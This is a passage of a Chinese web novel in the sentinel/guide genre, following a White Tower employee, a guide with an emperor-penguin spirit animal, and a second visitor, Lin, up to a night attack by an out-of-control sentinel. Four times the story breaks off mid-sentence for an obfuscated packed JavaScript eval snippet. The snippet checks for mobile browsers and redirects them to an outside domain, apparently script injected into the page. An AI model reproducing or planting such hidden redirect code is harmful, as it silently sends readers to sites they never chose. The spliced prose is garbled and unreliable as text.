白塔真应该把程南洲工资扣光,一个向导连这样被人暗中观察都发现不了,真不知道凭什么领她的至少五倍工资。 在大师快要决定将这块精妙石头放在何处的时候,元翊咳嗽了一声,建筑大师给吓了一跳,嘴里的鹅卵石掉落砸倒了金字塔,刚刚好不容易搭建起来的就这样稀里哗啦毁于一旦。 大师:〇口〇 大师的助手:〇口〇 他俩略显震惊和难过的看了一会儿坍塌的废墟,然后缓慢的抬起头来,都有点眼泪汪汪的看向元翊。 元翊不假辞色。 她冷酷无情的说:“你好,请不要在别人家门口搭建违章建筑。” 建筑大师一愣,焦急的翅膀,发出一些人类难以理解的急切声音。但好在它很快意识到元翊并不能听懂帝企鹅语,于是猛扇助手的腿让助手给它翻译。 “......不是违章建筑。”程南洲神色十分沮丧嘟嘟囔囔,然后从里面找到了最满意的那个鹅卵石:“......送给你。” 然后忙不迭的补充:“今天饭钱。我没有别的意思。” 饭钱。 呵呵,真不知道这两个家伙是从什么时候开始获得她家的进门权的,甚至还会自带食材过来吃饭——她无比肯定自己在某个时候又做了多余的事,但是她完全想不起来当时的情况。 可恶啊!就这么普通的放可疑分子回家了!怎么回事啊我自己!我这么没有警惕心的吗! 但,在之后可以纠正此事的几次机会当中,元翊并没有马上修正。事实上她对现在的这种情况还有另一种有点糟糕的猜测,如果这种猜测正确的话,和向导在一起会比独自一人安全许多。 心中这样想着,元翊没有马上说话。 她只是看了他一会儿。非常平静的。 这位向导和他的精神体在元翊的目光中颇不自在的扭动了一会儿,但那个递出来的石头始终没有收回去,就这样执着的悬在那里。 他俩都不敢去看元翊的反应,过了不知道多长时间,他听见她像往常一样非常无奈的叹了口气。 “进来吧。”她说。 程南洲和帝企鹅喜笑颜开:“好嘞。” 虽然石头没送出去,但是一人一鹅还是顺利进门了,有什么比这个更好的事呢! ——没想到今天竟然真的有诶! 程南洲发现元翊在桌上已经多放了一个碗。 帝企鹅发现元翊换了一双新拖鞋,蓝色的,上面画着一只圆头圆脑的企鹅! 程南洲:我吃饭要用碗。 帝企鹅:我是企鹅。 这说明什么! 这还能说明什么!!! 去厨房拿筷子的功夫,出来就看见这两个奇怪的生物莫名其妙的又变成了眼泪汪汪模样的元翊:......? 她既对这两个人闪闪发光的眼神略感嫌弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606540|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又对他们总是频频看自己的水族馆文创拖鞋和餐具的行为十分迷惑。 怎么,看上拖鞋了?看上碗了? 神经病。 有时候她觉得向导真的是一种非常难懂的生物。虽然她为了安全包容了这两位在她房间内多种多样的奇怪举动,包括但不限于让企鹅上桌吃饭,偶尔欣赏几秒它奇怪的舞蹈和歌声,忍受程南洲三百六十度跟踪式的视线并且假装没有发现此事。 而且这种目光不是摄像头(不是那位摄像“头”)那种机械式监控,那是、那是......唉真是很难讲,就是那种让人有点毛骨悚然芒刺在背的目光,你可能不用担心他上来捅你一刀,但你必须担心他可能会舔你的拖鞋。 比喻很不恰当,但是毛骨悚然的部分是真的。 开门放程南洲进来之前元翊要把自己的个人物品稍微整理一下,比如穿过的衣服绝对不能乱放,全部收进房间里去。 这种怀疑很没有逻辑,也很离谱,但是元翊觉得很有必要——因为她觉得自己真的很难理解这种生物,理解不了,根本理解不了。 所以她必须尽最大可能防范自己遇到一些她不想遇到的情况,她一点也不想踩进拖鞋的时候感受到湿润或者任何有别于拖鞋本身的东西。 更糟糕的是,她对此情况并没有什么好办法,唯一的指望就是希望她的猜测能够尽快落实,然后让向导能够顺利完成工作,也让她能够顺利回归自己的普通生活。 这样想着,程南洲扭扭捏捏的靠了过来。 他的笑容有点紧张,靠过来的时候不小心碰到了元翊的手臂,像是被烫了一下飞快的缩回去。 “元翊。”他说:“你、你还在家里专门给我准备了碗啊。” 元翊:...... 好家伙,原来不是冲我的拖鞋来的,是冲我的餐具来的啊。 这个碗的印花是她最喜欢的,而且高档陶瓷,当时两个碗花了她三百块钱,她还失手打碎了一个,现在就剩下这一个了。 这可比拖鞋贵多了。 她扯了扯嘴角,刚想说点冷言冷语让程南洲清醒清醒,突然感到脚下痒痒的。 那个帝企鹅正蹲在地上,害羞又狂热的用翅膀抚摸元翊的拖鞋,那个翅膀毛茸茸的,有的时候会扫过她的脚趾或者脚踝。 帝企鹅,抬头,星星眼:一些听不懂的企鹅语。 元翊:...... 等一下。 你们两位,等一下。 白塔发给向导的工资至少是我的五倍,所以既然我能买得起文创拖鞋和高档陶瓷餐具,难道你俩买不起吗? 干什么来我家要东西?干什么?天天来就是为了抢劫啊? 神经病! 前面省略,后面省略,总之,她讨厌向导。 5. 05 元翊冷眼旁观背对世界缩在角落的程南洲和帝企鹅,心中没有一丝波澜。 从她冷着脸跟他们两个说了“这不是你的碗,还有你,不许摸我的拖鞋”之后,他们两个就是这样,一副受尽欺负的委屈模样,还一抖一抖的,像是在哭。 但这种拙劣的演技不能打动这个人类分毫,她毫无慈悲的说:“要哭出去哭。” 然后那两个家伙就不哭了。 虽然他们知道这个房间的主人是个嘴硬心软的家伙,但是如果真的把她惹恼了让她把他们两个赶出去那就得不偿失了。 看着他们俩想什么都没发生过那样站起来拍拍衣服上的灰,然后重新走到沙发旁边坐下,元翊只觉得一阵无语。 可能向导在战斗力增强的同时,脸皮也变厚了吧。 元翊:“所以你到底什么时候回去啊?” 白塔给向导和哨兵提供免费的宿舍,非要住外面也不是不行,但是大部分的向导和哨兵都有远超常人的敏锐感知,外面嘈杂的环境其实并不太适合他们生存,所以身为向导,程南洲领着至少五倍于普通工作人员的工资但是开支又少了一项......哦不对,这不是重点。 重点是程南洲还是早点回白塔比较好。 毕竟微小噪音、杂糅情感、哪怕空气当中飘过的一缕气息,都足够让他们的大脑自然而然的从中提取过量信息。大脑不断过载,不断给这些强行用入脑海的信息折磨会导致向导和哨兵感到压力,而过大的压力往往会导致包括但不限于精神失常、理智丧失、认知错乱、污染抗性下降等严重后果。 但这个问题并没有得到回答。 程南洲和帝企鹅有点为难搓搓手指和翅尖:“这个我不能说啊......” 元翊叹了口气:“你这么长时间一直都留在外面,身体不会不舒服吗?” “啊!原来是因为担心我吗?没关系,我的社会化做得很好的,适应这种普通的生活没有任何问题,电子机械噪音和触碰声不会让我神经紧张。”程南洲快乐的说:“所以你不用在意我,我注意到你的电视机上连接了游戏机,你可以随便使用,这种程度的噪音不会让我难受——当然,你因为游戏产生的情绪也不会吵到我的。” 他阳光灿烂,像个灯泡一样闪闪发光,甚至用非常鼓励的目光示意元翊现在就玩一玩,看他是不是所言非虚。 元翊看了他两秒,没理,低下头开始吃饭。 程南洲一点没觉得自己被冷落了。 他从自己的背包里掏出两个金属盆,他一个企鹅一个,在他俩的面前摆放好,然后又从背包里掏出一个体积看起来远超背包容量的黑色密封袋。 程南洲:“可以借用一下你家的厨房吗?或者厕所也可以。” 元翊:“厨房的洗碗槽你可以用,如果放不下你就只能用洗手间的地漏处理你的饭了,弄完之后给我清理干净。” 程南洲:“好的。那我直接用地漏吧,你的厨房恐怕放不下——没关系你先吃吧元翊,不用等我的。” 他非常轻松的提着袋子走进了洗手间。 元翊知道他应该是又要去处理那种,“肉”。 有些向导会有自己的专用食谱,而程南洲的食谱稍微有点可怕。他会生吃一种看不出来是什么的东西,他说是肉,但是在很难看出来。据他本人说因为这样食用能够获得最好的风味,以及更好的吸收里面的某些物质。装肉的那个袋子好像也是某种特殊容器,不知道是不是心理作用,元翊总觉得那个袋子里装的肉好像还没有丧失活性,偶尔还会变形一下。 客厅只剩下她和帝企鹅了。 帝企鹅目不斜视。 但有些生物在紧张的时候就会让自己显得很忙。 它小步腾挪,严肃认真,直到它的翅尖轻轻的碰到元翊的小腿。 那个翅膀猛地缩回。 然后又悄悄的伸过来。 那双小眼睛飞快的扫了一下元翊,并没有受到驱逐,也没有看到对方正在用看垃圾的眼神看自己,企鹅嘴咧开发出一些小小的快乐声音,又往过凑了一点,毛茸茸的身体完全贴在了人的腿上。 还蹭了蹭。 企鹅的毛是非常紧实的,甚至像是毛毡一样。 几乎无法忽视。 元翊重重的咳嗽了一声。 企鹅猛地一抖。 它自欺欺人的假装无事发生,翅膀倔强的没有收回,依然贴着元翊,过了几秒小心翼翼的抬起头——和人类极不赞同的目光怼了个正脸。 元翊面无表情:“收回去。” 企鹅:...... 他又受伤又失落,但在看到这个人类对着可怜的模样无动于衷,还是一副铁石心肠的样子之后,只能极不情愿的后退了一点。 发出一声伤心的“哼”。 元翊也哼了一声。 她现在已经不会被这只臭企鹅轻易蒙骗了,爱装可怜的企鹅很擅长披着无害的皮做一些奇怪的事,它很喜欢贴着人站,但是又不去贴它的本体,如果被拒绝就会这样一幅“没关系,你不必愧疚,我可以一个人承受寂寞孤独”的模样。 但元翊已经不会心软了。 因为在她接受企鹅的拥抱,或者抱抱摸摸企鹅之后,就会有另一个巨大的身影蹲在旁边,一脸期待地看着她。 程南洲:“你别有心理负担,你不用把我当成人,我其实也是一只企鹅啊!” 元翊震惊:“你滚好吗!你要是企鹅那我就是豹斑海豹了!” 程南洲愣了一下,然后莫名的娇羞起来:“啊......现在我们就讨论这个问题,会不会有点太早了......不过我都可以,如果你愿意的话我很高兴这样。” 他一边说一边开始解外套,非常高兴的:“什么时候吃?就在这里吗?” 元翊:......??? 元翊:“门在那里,滚出去。” 所以有的时候向导的思维是很奇怪的,绝对不能给他们任何一点好脸色,不然的话就会打蛇顺杆上,蹬鼻子上脸了。 而且越(非自愿)交往,元翊越觉得这可能是一种生存的智慧。哨兵向导的精神体往往都带有一些灵智,很难判断有多少,但是肯定多少是有的。他们非常擅长运用这些技能,让人短暂的忘记精神体和本体其实二者互为一体,从而将他们分开看待。 圣斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606541|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士绝不会败在同一招下两次,现在元翊已经不可能在对这个臭企鹅心软了。 等程南洲提着那个黑色的袋子从洗手间出来,元翊已经开始吃饭了。他对正在角落假哭的企鹅熟视无睹,非常自来熟的坐在了沙发上,从黑袋子里掏出非常巨大的一块肉,撕成两半分给他和企鹅,非常熟稔的挑起话题和元翊聊天。 奇怪的肉扔到不锈钢盆里Duang一声,元翊用余光偷偷看了一下那块肉,粉色接近透明的肉质里有一些有别于血管的黑色线条,现在还在轻微抽搐。这种肉不是元翊熟悉的任何一种,看不出来肉的肌理,没有血迹,像是一大块凝胶。 有点恶心,又有点可怕。 看起来也不是很好吃的样子。 “确实不好吃。”程南洲说:“味道其实还怪可怕的,但是因为它加热之后味道更可怕,所以还是这样吃吧。” 说着,他撕下一块肉,那块肉在他手里剧烈挣扎了一下,若无其事的扔嘴里。 原本修长有力的手指形态发生了一些明显的改变,他的手指似乎变长了,现在看起来比起人类的手更像爪子或者树杈,指尖极其尖锐,撕开肉就像拽开一块橡皮泥。 元翊看了一会儿,沉默的收回目光。 这种食物可能有一些气味,而且不好闻,因为每次程南洲带着食物出来的时候,企鹅就会干呕两下。 特制食谱的原因是该个体状态不稳定,需要外部手段辅助,这意味着很长很长一段时间内,程南洲的食谱上应该就看不到其他食材,能够摄入的都只有此类可怕的东西。 ......想想怪难熬的。 皱着眉头为难了一会儿,虽然一直劝自己不要做多余的事,但最终元翊还是站起来,拿起那个空的高档碗走进厨房。 再出来的时候碗里多了一些颜色。 绿的黄瓜丝,红的西瓜快,还有半个切开的新鲜柠檬。 程南洲一直看着她,元翊皱着眉头,满脸不耐烦又有些自暴自弃的颓废苦恼,她避开了这存在感过强的目光,坐到自己原来的位置上,然后将昂贵的高档陶瓷碗稍微向两人一鹅推了几厘米。 “先说明一下,这个和你们没有关系。”她像是在和谁赌气一样说:“是我自己想吃的,你不许动。” 程南洲:“……好的。” 他本来就不需要进食这些普通食物,他只需要呼吸和听。 听她在厨房有点为难的挑选食物,听刀切割时落在菜板上的钝响,听蔬菜和水果切开是汁水迸溅和沙沙的断裂声。 在元翊出来之前,他已经知道她去做什么了,交杂的清香带着甜、带着酸、带着清新的气息,人类的鼻子都能闻到的气味,到了向导那里只会十倍百倍的放大。 它与“肉”的气味交杂在一起形成了一种更让人烦躁的复合气味,但一种奇妙宁静感被缓慢地催生,在温暖中,在清新和甜味中,在柠檬过量的酸中,程南洲那可以轻易将肉撕裂的爪子却因此缓慢地缩了回去。 那双眼睛没有移开。 他还在看她。 “......少看我了。”元翊头都快扎进碗里了,她小声抱怨:“你吃你的饭啊。” 6. 06 讲一个笑话,有的时候精神体是比本体更知晓人类社会交往规则的。 比如现在,帝企鹅正在通过疯狂用翅膀殴打程南洲大腿的方式提醒他,他此时的目光是很不礼貌的。 但没什么用,因为程南洲对伙伴的提醒熟视无睹,目光还是死死的落在元翊的身上,现在他的目光不太狂热了,整个人看起来也更趋向理智和平静,但是元翊觉得现在这种情况比之前更加让人毛骨悚然了。 之前她还能推测出来她的拖鞋有危险,现在她根本推断不出来这个神经病想干什么——他什么都可能干! □□没在手边上,这是一个大失误!但好在在帝企鹅用更加激烈的方式提醒他之前,程南洲恢复了正常。 “我刚才好像走神了。”他笑了一下:“但是谢谢你元翊,我觉得自己好多了。” 你最好真的只是走神了! 元翊是这么想的,但是她没说。她冷静的吃完了最后一根面条,然后清洁了一下自己把擦过嘴的纸扔进纸篓,她今天刚换的新垃圾袋,这是第一块垃圾。 做完这一切之后,她看向程南洲:“你什么时候走。” 与之前的询问不同,程南洲感觉得到这一次她真的在问他什么时候离开。 向导有点费解的歪了歪头:“我冒犯到你了吗?好突然,要赶我走。” 元翊:“我不喜欢陌生人在我家里,我吃完饭需要自己一个人消化一会儿,过大的压力又让人罹患胃溃疡风险。” 程南洲:“......再要一会儿吧。” 他不情不愿的回答了一句,那双眼睛终于垂落下去了。 目光落在了他的食物上。他开始进食。 这一次他没有再选择撕开肉块,他拿起了那块肉,用更原始的撕咬进食。爪子重新变得尖锐,指尖深深地抓进肉里,留下几个蠕动的孔洞。 他吃的很快,动作也急,看得让人有点害怕。 而且元翊莫名的觉得他这样可能并不是因为饥饿,而是需要用进食的动作和行为把别的东西压下去,以急迫的吞咽和激烈的撕咬欺骗大脑现在吃饭就是他最想最需要做的事情。 ......停,揣测他的想法更让人害怕了,赶紧停吧。 元翊其实是喜欢在吃饭的时候和其他人聊天的性格,但因为和这两个家伙没什么共同语言,所以两人一鹅相对的时候只能沉默的吃饭。帝企鹅用两个翅膀把它的端到地上,然后弯腰下去,这样正好会被茶几挡住,没人看见它是怎么吃饭的,但当它再抬起头的时候,盆里就已经干净了。 它头面部的羽毛一点也没有被弄脏,只有白肚皮偶尔会染上一些别的颜色。 每当它把肚皮弄脏,整个鹅就会显得非常紧张,总是偷偷看有没有被别人发现。但元翊是一个非常成熟的白塔工作人员了,她知道在白塔工作有的时候就是要管住自己过于旺盛的好奇心,再加上越相处久也能感觉到向导哨兵异于常人的地方,如无必要,元翊实在不想知道别人的秘密。 所以她对这种异常从来都视而不见,既不惊讶也不关心,甚至连眼神都欠奉。 这种体贴时常让鹅欣慰,但这种熟视无睹的态度有的时候也很让鹅失落。 帝企鹅背过身飞快打理好了自己的羽毛。 吃完饭,程南洲已经完全恢复了正常。他和帝企鹅非常热情的提议帮元翊洗碗,但果不其然这次也被拒绝了,这个铁石心肠的家伙只是靠在门上,又问他们什么时候走。 不过好在这次比起之前的那句赶人的话,听起来更像一种例行询问。 “这个......”他们两个对视一眼:“我们可能还得在这附近多待一会儿。” 元翊:“是工作需要吗?” 程南洲:“额,也有一部分是因为个人需求——但是你放心,我们都不是那种无法控制自己的口口家伙,我们是非常成熟的搭档了,不是那种会轻易陷入潮热难以自持的人!” 帝企鹅:“嘎!” 一人一鹅挺起胸脯,试图证明自己十分可靠。 然而元翊满脸只有费解、无语和嫌弃。 她甚至往远退了一步。 神经病吧,谁问你们这个了。 她的脸色是这么说的。 最开始上面这句话用到的所有标点符号都是感叹号,但是随着程南洲不请自来的次数增多,这句话的情感已经没那么强烈了。 收拾碗筷,洗完,擦干,出来看到向导还坐在她的沙发上,察觉到程南洲开始欲言又止,元翊本来没打算理,但是帝企鹅一扭一扭挪到她的旁边,谄媚又哀求的用翅尖戳了戳她的腿。 元翊低头,还能看到这张鹅脸上带着一些讨好的笑容。 “......唉。”她叹气:“还想干什么啊?” 原本正襟危坐的程南洲立刻起立,小步跑过来,搓手:“是这样的,可能、嗯,就是,等等还有一个人,要到这边来。” 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606542|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翊:? 元翊:“来我家?来我家干什么?谁要来啊?” 程南洲,略显尴尬又忐忑的笑容:“这个,这个......现在不能说。” 那看来确实是工作无疑了。 元翊心说真倒霉,没想到她的猜测竟然真的成真了。 不过对她来说这种事情猜不到也很难,毕竟能让想到长时间停留在白塔之外的事项就那么几个,排除法都能猜到肯定是因为在这附近有活要干了——可恶啊!她既不是向导也不是哨兵,为什么非要她来协助做这些事情呢! 而且这附近住的工作人员又不是只有她一个,干嘛不去找别人啊! 心中激烈的撒泼打滚了一番,最终元翊用工资把自己劝住了。 她叹了口气,深深的,非常疲惫的:“好吧。需要我做什么吗。” 毕竟这也是没办法的事,白塔有的时候会有一些奇怪的突发状况,在其中工作,应对这些状况也是必要一环。而且往好处想,临时协助外勤还有外勤费可以拿,没有人会拒绝涨工资吧。 说完之后她很快又补充了一句:“太危险的事情我也做不了,我现在是白塔的高级驾驶员,你可以查询我的记录来判断我的能力。” “不用不用,你不用做那些。”程南洲急忙说:“你只要像平时那样生活就好了。” 啊?那样就行吗? “那好吧。”她没反驳:“反正不管你们要做什么,尽量别把我家弄坏。” 程南洲:“这个你放心,我们会很小心的。” 话音刚落,门口传来了敲门声。规律有节奏,不疾不徐叩了三下。 应该是程南洲之前提过的那位还要来她家的同事。 元翊跑过去开门。 然后愣住。 门外是一个......怎么说呢,不算熟悉,也不算陌生。 元翊:...... 元翊讷讷:“你,您,你不是回白塔去了吗?” 门外,来客站得笔直,手里还提着超市的塑料袋。 林:“有时工作需要适当隐瞒,但如果你要求我,下一次或许我会对你更加坦诚。又见面了元翊,很高兴参观你的居所。” 元翊嘴张了张,最后艰难地说:“倒也,没必要高兴。” “还是很有必要的。”林一边说,一边迈步走进来:“我想我可能是第一次去朋友家中做客,看来我们已经是亲密好友了,真令人开心啊,元翊。” 7. 07 元翊觉得有点挤。 这个小房子是一居室,一室一厅一厨一卫的构造非常适合独居群体,再加上房租便宜,她对自己的小房子一直非常满意。然而今天她的房间显然并不是只有她一人,多了两个......或者三个不速之客之后,小客厅就显得非常逼仄起来。 沙发是不带贵妃榻的长条沙发,平时最多坐两个人,现在她坐在上面颇有如坐针毡的感觉,因为长久以来的教养和道德水平让她很难把客人晾在一边,自己霸占仅有的位置,但是让她就这样让开,她又很不甘心——拜托啊!她才是这个房间的主人!她想怎么样就怎么样! 就这样难受的坐了一会儿,她看了一眼被掩住的卧室门,后知后觉的想起,她在卧室支了一个小课桌,和桌子配套的有把椅子。 元翊:太好了! 这样问题就解决了,太好了,没有人需要在她的家里被罚站了——可恶明明不是她的错,也不是她的小房子的错,但是现在搞得好像是她的待客之道有问题一样,本来只要他们两个不要过来或者不要同时过来事情都不会变成这样的! 归根究底还是奇怪的向导和二型哨兵的错吧,现在别说什么工作原因了,反正就是他们的错! 给这些错误找到了令所有人都满意的归因,她站起来,沉默的去搬椅子。 那把折叠椅并不重,但是在经过床和墙壁之间狭窄的巷道时还是会发出一些磕磕碰碰的声音,这些声音在现在让人稍微有点尴尬和为难,尤其是她听见了企鹅在外面略显担心和焦急的叫声。 以及林平静的:“我听到了一些噪音,您需要我的帮助吗。” “不用了。”她已经出来了。 把手里提的折叠椅重新在沙发旁边撑好 “你坐这里吧。”她终于松了口气,刚才因为有人在家里被迫罚站的窘迫也没有了,甚至像是觉得自己做得十分好似的,下意识地叉着腰,看着那把椅子笑了两声。 当然很快就止住了,并且清了清嗓子试图掩盖这有点丢脸的事情没有发生过。 林:“感谢您的体贴。” 企鹅撇了撇嘴,如同鹦鹉学舌一样模仿着林的语调摇头晃脑的小声重复了一遍,然后独自一鹅去阳台上生气了。 三人又陷入了沉默之中。 元翊其实并不是一个非常讨厌沉默的人,相反,她和最好的朋友们在一起的时候,即便大家都不说话,各做各的事也不会觉得无聊或者不自在,偶尔某人突然发现某件奇怪趣事便会立刻前来分享,她们几个在一起呱呱呱哈哈哈的品评一番后,便又会各做各的。 她觉得那样很惬意。 但现在不是。 她觉得这样正襟危坐闭嘴不说话,很难熬。 她的脚趾都因为用力过猛开始酸了! 无人说话。 程南洲也不说。 平时他的嘴就没停过,现在怎么哑巴了?就算你们两个聊一聊天气,聊聊工作也比现谁也不说话强啊,你们都是哨兵向导,难道没有一点共同语言可以聊吗——哦当然哦,你们两个聊天就行了千万不要加上她,她可以在旁边偶尔发出一点“原来如此”或者捧场的笑声之类的声音,但是和她聊天就不必了。 她偷偷的去看程南洲,这个人像睁着眼睛睡着了一样!他仿佛突然对在阳台上面壁的帝企鹅充满兴趣,目光聚焦在它胖胖的背影上,一动也不动。 元翊:要你何用啊! 她缓慢的看向了另一位。 纵使折叠椅要略高于沙发,对于林来说,好像还是有点局促。此时他正以一种非常轻松的姿态,双腿交叠坐在椅子上。 林的身形极其修长,或者说过于修长了。这几乎是所有的黑暗哨......二型哨兵统一的特征,无论被转化前是什么样子,但是在被转化为二型哨兵之后,他们的身形统一都像是被拉长了一样。身上“人”的部分几乎被污染物吞噬殆尽,人类的头部被别的东西代替,很难说那些污染本来是什么样子,但是最后于二型哨兵本人所具备的特质调和融入之后,都会以一种独一无二的形式表现出来。 沉默的视线落在他悬空的脚尖上,然后是脚踝,小腿,膝盖,和他随意手指交叉放在大腿上的双手。二型哨兵全身上下没有裸露的皮肤,露出的部分只有那异形的脑袋,头颈的变异一路向下延伸,直到隐没在领口。 元翊不禁想到,如果是这样的话,那二型哨兵在大夏天没有空调的时候会觉得热吗? 应该会吧?毕竟哨兵的感官本来就这么灵敏。 走神的时候,她忘记收回自己的视线了。 不知何时,林已经缓缓转过头来。 他发出声音,只是在元翊发现他之后稍微拉了一下自己的领口。 宛如一个询问,或者一种邀请。 想看吗? 大概是这样的意思。 元翊:不不不不不不不用了对不起不用了! 在她晕过去或者飞起来之前,程南洲说:“我突然想起一件事。” 他煞有其事的说:“之前我听到一个风声,之后说不定会给参与外勤工作的人涨工资。” 刚刚还十分窘迫的元翊:?! 元翊立刻:“详细说说。” 她甚至往过挪了半寸,眼神里全是求知欲。 程南洲:“我也不太清楚啦,好像就是听谁说过的,但是我忘记了。” 元翊不愿死心:“没有什么具体日期?你再想想呢。” 程南洲苦思冥想了一会儿,最终还是一摊手:“骚瑞啊,真的忘记了。” 元翊:......要你何用! 但好在这样一打岔,刚才那令人尴尬起飞的气氛总算消失了。 在确定他们的工作内容并不是自己应该听的,并且确认过她需要做的配合就只是按照平时那样生活之后,漫长的等待开始了。 这其实不太容易,因为没有人能在“你就像平时一样正常生活”这样的要求下“像平时一样”。 她已经忘记平时是什么样子生活了。 这两位哨兵向导彼此无视,在元翊的客厅悠闲得宛如度假,好像在场所有人当中只有愿意一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606543|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人枕戈待旦,紧张得心突突跳。紧张的心情保持了大概两小时,战线拉得太长,再加上之前真的太紧张了,她觉得自己都有点犯困了。 这两位丝毫没有开工的意思。 等到晚上三点,元翊眼睛都睁不开了。平时她十二点之前准时睡觉,熬到现在觉得再熬下去自己可能会率先猝死,于是举起手:“我先下楼去......扔了垃圾,然后打算睡觉了,你们在这里慢慢等吧,不用顾虑我。” 林:“感谢您的体贴。” 在程南洲自告奋勇要和元翊一起下楼扔垃圾的时候,林轻轻制止了他。 林:“或许我们不应该这样贴近她,这样会给别人带来压力。我认为我们的朋友可以独自完成这项任务。” 程南洲:“可是......” 林:“互相信任是朋友之间应当做的,不是吗。” 元翊:...... 她没管这两个人又说什么,现在的重中之重是赶紧先脱离这两个令人窒息的家伙出去喘口气,于是她提起(只有寥寥几块垃圾)塑料袋,哒哒哒下楼了。 垃圾桶离她的单元门稍微要走一段,小区绿化做的不错,但是从没有电梯这一点就能看出,这真的是一个很老旧的小区了。 路灯有点昏暗,一个人都没有,月正中天,这种时候走在楼与楼之间,绿化与绿化之间,走在略显昏暗的灯光中,颇有点曲径通幽的感觉呢。 她把几乎空着的垃圾袋甩进垃圾桶,靠近垃圾桶,有两个路灯因为接触不良忽明忽暗,一闪一闪。 她记了一下路灯的位置,准备明天给物业报修。 嘎巴 轻微的树枝折断声。 她立刻向声源的方向去看。 空无一人。 此时她正站在频闪的路灯之下,闪烁的灯光给此刻赋予了一些鬼魅气氛,元翊不觉得这是自己的错觉或者是什么,她突然紧张起来,并且准备立刻返回。 在她即将踏出频闪的灯光时,她又一次听见了那个声音。 嘎巴 这一次还有折断的树枝被抛掷的声音。 比上次近。 仿佛是一种警告,或者告知,那些声音在缓慢地逼近,越来越近。 她没有听到脚步声或者别的,铡刀将落未落最是折磨人。 她的心跳越来越快,精神几乎已经崩到极点。 又有一只树枝折断了。 嘎巴 就在她的耳边。 元翊像是被蛰了一下一样简直跳起来,她猛地转身,后退几步。 她看到了巨大的爪子。 黑色的。 像是一个畸形的缝合生物,过于巨大的猫科动物身体,本该是野兽头部的部分连接着人身。 此时,那人身的部分双手之中正握着一根还长着叶子的树枝。 闪烁的灯光下,元翊的注视之中,他突然扯起一个令人毛骨悚然的笑容。 啪。 他将最后一根树枝折断。 然后甩着尾巴,猛地扑过来。 8. 08 猫首人身、说错了,人首猫身——反正就是像人马一样的人猫突然出现,这个东西的身高看起来可能超过三米并且不管是兽的部分还是人的部分都十分壮硕,随便一下就能把人脑袋扭拧掉的时候,人是不会对这种生物产生任何喜爱之情的。 尤其是当这么一个鬼东西朝你飞扑而来,那就更令人惊恐了。 元翊转身就跑。 然后一个滑铲试图躲过第一次扑杀——成功了!她躲过了第一波扑杀! 惯性作用让她继续往前,但是她已经开始手脚并用的往反方向扑腾。 一边扑腾挣扎延长逃跑时间,一边拼命思考对策。 她现在已经理解那两个狗东西此次前来的任务是什么了,在看到这只人猫的时候,她已经完全理解了——这种形态是一型哨兵失控后的形态,精神体和本体的连接以一种畸形的方式呈现,而且毕竟是因为与污染产生共鸣才会演化出精神体,所以其实说白了精神体的出现本身也是污染异变的一种。 这种时候很难说是人和污染哪一种本能更占据上风,但这种时候普通的沟通往往是完全失效的。 面对以畸形姿态出现的一型哨兵,首先判断其失控是否具有可回溯性,判断方式非常简单,直接通过肉眼确认是否存在可以辨认的人类头部。当有且只有一个符合白塔辨认标准的头部存在于该失控个体身上的时候,所有工作人员都有责任和义务在力所能及的范围内尽最大努力挽救该哨兵。 虽然灯光昏暗,但是刚才元翊已经看见了这位失控哨兵的头部。他看起来不太具有思考能力,不知道是不是因为失控的原因,哨兵的头发非常蓬松浓密,已经长得完全垂落到腰部与兽身的连接处。 过长的头发把眼睛盖住了,无法判断现在其双目情况,但是从下半张脸来看非常具有挽救的可能性。 大脑疯狂运转,生死关头,高度集中的状态下,五感、体魄和反应速度都在急速飙升的激素水平作用下达到了前所未有的高度,甚至让她连滚带爬的躲过了失控哨兵的两次扑杀。 要不是抽不出空,而且对于捕捉失控哨兵的工作最好都是秘密进行,元翊真想现在就骂点脏话给那两个孙子——他们显然是把她当成诱饵了,而且不知道为什么对于她的普通生活能够吸引来失控哨兵一事非常有信心! 神经病吧!二型哨兵都出动了打个普通的失控一型哨兵还有什么打不过的吗?! 